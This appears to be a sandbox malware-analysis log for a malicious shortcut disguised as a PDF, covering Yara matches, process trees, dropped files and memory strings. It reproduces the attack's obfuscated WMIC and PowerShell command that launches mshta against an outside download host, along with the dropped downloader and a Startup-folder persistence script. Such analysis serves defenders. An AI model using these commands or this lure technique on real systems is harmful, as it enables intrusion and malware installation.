Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CL
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.e
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.ex
Source: powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.exe
Source: mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840043057.000001E30CCBC000.00000004.00000020.00020000.00000000.sdmp, HateSpeech2024_Summary.pdf.lnk.bin.lnk	String found in binary or memory: https://myfilebuilders.com/samm
Source: powershell.exe	String found in binary or memory: https://myfilebuilders.com/samm$global:?
Source: mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843470326.000001EB13999000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm(
Source: mshta.exe, 00000005.00000003.1839341806.000001EB13B24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1847325964.000001EB13B24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840509562.000001EB13B24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1892727131.000001EB13B45000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1847566039.000001EB13B27000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1848089954.000001EB13B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm(Z
Source: mshta.exe, 00000005.00000002.1888475276.000001E30CC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm-0
Source: mshta.exe, 00000005.00000002.1889780007.000001EB0EF7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm...1i
Source: mshta.exe, 00000005.00000003.1885898533.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841817928.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883693311.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890206556.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1848758754.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm...X5
Source: mshta.exe, 00000005.00000003.1839341806.000001EB13B24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1847325964.000001EB13B24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840509562.000001EB13B24000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1892727131.000001EB13B45000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1847566039.000001EB13B27000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1848089954.000001EB13B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm.U
Source: mshta.exe, 00000005.00000002.1888475276.000001E30CC58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm/
Source: mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843470326.000001EB13999000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm0
Source: mshta.exe, 00000005.00000002.1888475276.000001E30CCA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm7
Source: powershell.exe, 00000004.00000002.1653965522.000002A9CB6D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm;
Source: powershell.exe, 00000004.00000002.1653812581.000002A9CB6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm;.WSF;.WSH;.MS
Source: mshta.exe, 00000005.00000002.1888475276.000001E30CC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammB
Source: mshta.exe, 00000005.00000002.1888475276.000001E30CC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammC:
Source: mshta.exe, 00000005.00000002.1888475276.000001E30CC58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammF
Source: mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammG
Source: mshta.exe, 00000005.00000002.1889045951.000001E30E5E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammH
Source: mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843470326.000001EB13999000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammI
Source: mshta.exe, 00000005.00000002.1888475276.000001E30CC58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammL
Source: mshta.exe, 00000005.00000003.1846315954.000001EB13BD4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1847163890.000001EB13BD4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1855774349.000001EB13BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1848132792.000001EB13BEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammLMEM
Source: mshta.exe, 00000005.00000003.1843743882.000001EB0EFAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885688982.000001EB0EFAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1884092790.000001EB0EFAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1889989783.000001EB0EFAD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842138558.000001EB0EFA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842172300.000001EB0EFAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammMMC:
Source: powershell.exe, 00000004.00000002.1653965522.000002A9CB6D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammP
Source: mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843470326.000001EB13999000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammR
Source: mshta.exe, 00000005.00000002.1888633604.000001E30CCBF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840043057.000001E30CCBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samma
Source: mshta.exe, 00000005.00000002.1888633604.000001E30CCBF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840043057.000001E30CCBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammes
Source: powershell.exe, 00000004.00000002.1654335033.000002A9CDA0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammh
Source: mshta.exe, 00000005.00000003.1862801694.000001EB122D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1856590929.000001EB122D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammhttps://myfilebuilders.com/sammp
Source: mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammj
Source: mshta.exe, 00000005.00000002.1893168939.000001EB14420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammjn
Source: mshta.exe, 00000005.00000002.1888475276.000001E30CC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammkCg
Source: powershell.exe, 00000004.00000002.1654194592.000002A9CD080000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammkE9
Source: mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammls
Source: mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammo
Source: powershell.exe, 00000004.00000002.1654335033.000002A9CD561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/sammp
Source: mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myfilebuilders.com/samm~
Source: powershell.exe, 00000007.00000002.1814428015.000001F41BB25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000006.00000003.1665256909.000001B97E512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: php.exe	String found in binary or memory: https://www.php.net
Source: php.exe	String found in binary or memory: https://www.php.net/
Source: php.exe, 00000018.00000002.2897155503.00007FFDF9E2C000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896806357.00007FFDF9E2C000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.php.net/D
Source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp, php.exe, 00000018.00000000.2016752512.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmp, php.exe, 0000001C.00000000.2188550672.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmp, php_pdo_mysql.dll.21.dr, php_sysvshm.dll.21.dr, php_mysqli.dll.21.dr, php_zend_test.dll.21.dr	String found in binary or memory: https://www.php.netD

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1], type: DROPPED

Matched rule: Emmenhtal Loader string Author: Sekoia.io

Yara detected malicious lnk

Source: Yara match

File source: HateSpeech2024_Summary.pdf.lnk.bin.lnk, type: SAMPLE

Contains functionality to create processes via WMI

Source: WMIC.exe, 00000000.00000002.1636119414.000001DCDDE90000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: C:\Users\user\Desktop\C:\Windows\System32\Wbem\wmic.exe"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')"C:\Users\user\Desktop\HateSpeech2024_Summary.pdf.lnk.bin.lnkWinsta0\Default

memstr_74a538d7-a

Found PHP interpreter

Source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group6
Source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: PHP %s, Copyright (c) The PHP Group
Source: tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group6
Source: tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: PHP %s, Copyright (c) The PHP Group
Source: tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group6
Source: tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: PHP %s, Copyright (c) The PHP Group
Source: php.exe	String found in binary or memory: The PHP Group
Source: php.exe	String found in binary or memory: The PHP Group
Source: php.exe	String found in binary or memory: PHP %s (%s) (built: %s %s) (%s) Copyright (c) The PHP Group %s
Source: php.exe	String found in binary or memory: PHP %s (%s) (built: %s %s) (%s)Copyright (c) The PHP Group%s
Source: php.exe, 00000018.00000000.2016752512.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: CompanyNameThe PHP Group0
Source: php.exe, 00000018.00000000.2016752512.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: The PHP Group0
Source: php.exe, 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: Copyright (c) The PHP Group
Source: php.exe, 00000018.00000002.2897155503.00007FFDF9E2C000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: CompanyNameThe PHP GroupV
Source: php.exe, 00000018.00000002.2897155503.00007FFDF9E2C000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: The PHP Group0
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: it under the terms of the PHP License as published by the PHP Group
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: it under the terms of the PHP License as published by the PHP Group
Source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
Source: php.exe, 00000018.00000000.2016553083.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: Copyright (c) The PHP Group
Source: php.exe, 0000001C.00000000.2188550672.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: CompanyNameThe PHP Group0
Source: php.exe, 0000001C.00000000.2188550672.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: The PHP Group0
Source: php.exe, 0000001C.00000002.2896806357.00007FFDF9E2C000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: CompanyNameThe PHP GroupV
Source: php.exe, 0000001C.00000002.2896806357.00007FFDF9E2C000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: The PHP Group0
Source: php.exe, 0000001C.00000000.2188454449.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: Copyright (c) The PHP Group
Source: php.exe, 0000001C.00000002.2894997934.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: Copyright (c) The PHP Group
Source: php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: it under the terms of the PHP License as published by the PHP Group
Source: php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: it under the terms of the PHP License as published by the PHP Group
Source: php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
Source: php_pdo_mysql.dll.21.dr	String found in binary or memory: CompanyNameThe PHP GroupR
Source: php_pdo_mysql.dll.21.dr	String found in binary or memory: The PHP Group0
Source: php_sysvshm.dll.21.dr	String found in binary or memory: CompanyNameThe PHP GroupV
Source: php_sysvshm.dll.21.dr	String found in binary or memory: The PHP Group0
Source: php_mysqli.dll.21.dr	String found in binary or memory: CompanyNameThe PHP Group6
Source: php_mysqli.dll.21.dr	String found in binary or memory: The PHP Group0
Source: php_zend_test.dll.21.dr	String found in binary or memory: CompanyNameThe PHP GroupL
Source: php_zend_test.dll.21.dr	String found in binary or memory: The PHP Group0

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Windows shortcut file (LNK) contains suspicious command line arguments

Source: HateSpeech2024_Summary.pdf.lnk.bin.lnk

LNK file: process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')"

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8920FA	4_2_00007FFD9B8920FA
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E4514C	12_2_00007FF658E4514C
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E40290	12_2_00007FF658E40290
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E39248	12_2_00007FF658E39248
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E43BFC	12_2_00007FF658E43BFC
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E40D1C	12_2_00007FF658E40D1C
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E3D480	12_2_00007FF658E3D480
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E46D7C	12_2_00007FF658E46D7C
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E41F04	12_2_00007FF658E41F04
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E35E9A	12_2_00007FF658E35E9A
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E35644	12_2_00007FF658E35644
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E3A110	12_2_00007FF658E3A110
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E42110	12_2_00007FF658E42110
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: 12_2_00007FF658E35038	12_2_00007FF658E35038
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Code function: 24_2_00007FF7498C1B10	24_2_00007FF7498C1B10
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Code function: 24_2_00007FF7498C97D0	24_2_00007FF7498C97D0
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Code function: 24_2_00007FF7498C6330	24_2_00007FF7498C6330
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Code function: 24_2_00007FFE1A527774	24_2_00007FFE1A527774

Source: icudt71.dll.21.dr

Static PE information: No import functions for PE file found

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 3004
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 3004			Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1], type: DROPPED

Matched rule: emmenhtal_strings_hta_exe author = Sekoia.io, description = Emmenhtal Loader string, creation_date = 2024-09-06, classification = TLP:CLEAR, version = 1.0, id = 64e08610-e8a4-4edd-8f6b-d4e8d2b47d87, hash = e86a22f1c73b85678e64341427c7193ba65903f3c0f29af2e65d7c56d833d912

Source: classification engine

Classification label: mal100.troj.expl.evad.winLNK@45/150@0/3

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2128:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ubirbunw.cvo.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs"

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: HateSpeech2024_Summary.pdf.lnk.bin.lnk	ReversingLabs: Detection: 23%
Source: HateSpeech2024_Summary.pdf.lnk.bin.lnk	Virustotal: Detection: 27%

Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://myfilebuilders.com/samm"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://myfilebuilders.com/samm
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
